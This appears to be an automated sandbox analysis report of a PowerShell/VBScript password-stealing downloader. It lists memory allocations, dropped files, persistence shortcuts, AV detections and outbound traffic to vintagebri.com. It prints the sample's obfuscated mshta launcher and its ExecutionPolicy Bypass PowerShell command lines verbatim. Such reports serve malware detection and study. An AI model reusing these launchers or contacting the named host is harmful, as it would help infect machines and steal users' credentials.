NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053fc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05401000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02812000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02813000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06135000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06136000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 69632 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0613a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0614b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0614c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0614d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0614e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0614f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2300 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x053fd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2884 region_size: 1114112 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02650000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71611000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2884 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71612000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 28, 2021, 3:50 p.m.	process_identifier: 2884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x021c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\ProgramData\WindowsHost\StateWindow.vbs
file	C:\Users\Public\WindowsState.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ExecutionPolicy Bypass & 'C"+":"+"\"+"U"+"s"+"e"+"r"+"s"+"\"+"P"+"u"+"b"+"l"+"i"+"c"+"\statewindow.ps1'"", 0:close")
cmdline	powershell -ExecutionPolicy Bypass & 'C:\Users\Public\statewindow.ps1'
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\statewindow.ps1'

A process created a hidden window (4 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Sept. 28, 2021, 3:50 p.m.	show_type: 0 filepath_r: C:\Users\Public\WindowsState.bat parameters: filepath: C:\Users\Public\WindowsState.bat	1	1
ShellExecuteExW Sept. 28, 2021, 3:50 p.m.	show_type: 0 filepath_r: C:\Users\Public\WindowsState.bat parameters: filepath: C:\Users\Public\WindowsState.bat	1	1
ShellExecuteExW Sept. 28, 2021, 3:50 p.m.	show_type: 0 filepath_r: powershell parameters: -ExecutionPolicy Bypass & 'C:\Users\Public\statewindow.ps1' filepath: powershell	1	1
ShellExecuteExW Sept. 28, 2021, 3:50 p.m.	show_type: 0 filepath_r: powershell parameters: -ExecutionPolicy Bypass & 'C:\Users\Public\statewindow.ps1' filepath: powershell	1	1

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Sept. 28, 2021, 3:50 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received
Data received	F

Poweshell is sending data to a remote host (2 events)

Data sent	qmaR»1&ÏLÉ_{Øù"ùÙ°¬Ti¸LfÓË4/5 ÀÀÀ À 28,ÿvintagebri.com
Data sent	qmaR»1³Ç¯¦aUµ¦þ;=©»¼\?]^ªØ:/5 ÀÀÀ À 28,ÿvintagebri.com

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 28, 2021, 3:50 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 28, 2021, 3:50 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

C:\Users\Public\WindowsState.bat

Drops a binary and executes it (2 events)

file	C:\ProgramData\WindowsHost\StateWindow.vbs
file	C:\Users\Public\WindowsState.bat

File has been identified by 11 AntiVirus engines on VirusTotal as malicious (11 events)

MicroWorld-eScan	Trojan.PWS.Agent.SVN
FireEye	Trojan.PWS.Agent.SVN
ESET-NOD32	VBS/Runner.NQD
BitDefender	Trojan.PWS.Agent.SVN
Ad-Aware	Trojan.PWS.Agent.SVN
DrWeb	PowerShell.DownLoader.1403
Avira	TR/PShell.PRL
MAX	malware (ai score=83)
Arcabit	Trojan.PWS.Agent.SVN
Cynet	Malicious (score: 99)
ALYac	Trojan.PWS.Agent.SVN

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
send Sept. 28, 2021, 3:50 p.m.	buffer: qmaR»1&ÏLÉ_{Øù"ùÙ°¬Ti¸LfÓË4/5 ÀÀÀ À 28,ÿvintagebri.com socket: 1420 sent: 118	1	118	0
send Sept. 28, 2021, 3:50 p.m.	buffer: qmaR»1³Ç¯¦aUµ¦þ;=©»¼\?]^ªØ:/5 ÀÀÀ À 28,ÿvintagebri.com socket: 1420 sent: 118	1	118	0

One or more non-whitelisted processes were created (6 events)

parent_process	wscript.exe	martian_process	C:\Users\Public\WindowsState.bat
parent_process	wscript.exe	martian_process	"C:\Users\Public\WindowsState.bat"
parent_process	wscript.exe	martian_process	C:\Users\Public\WindowsState.bat
parent_process	wscript.exe	martian_process	"C:\Users\Public\WindowsState.bat"
parent_process	powershell.exe	martian_process	C:\ProgramData\WindowsHost\StateWindow.vbs
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\StateWindow.vbs"

Creates a suspicious Powershell process (3 events)

option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-executionpolicy bypass	value	Attempts to bypass execution policy

The process wscript.exe wrote an executable file to disk (1 event)

file	C:\Windows\SysWOW64\wscript.exe

Final.txt.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All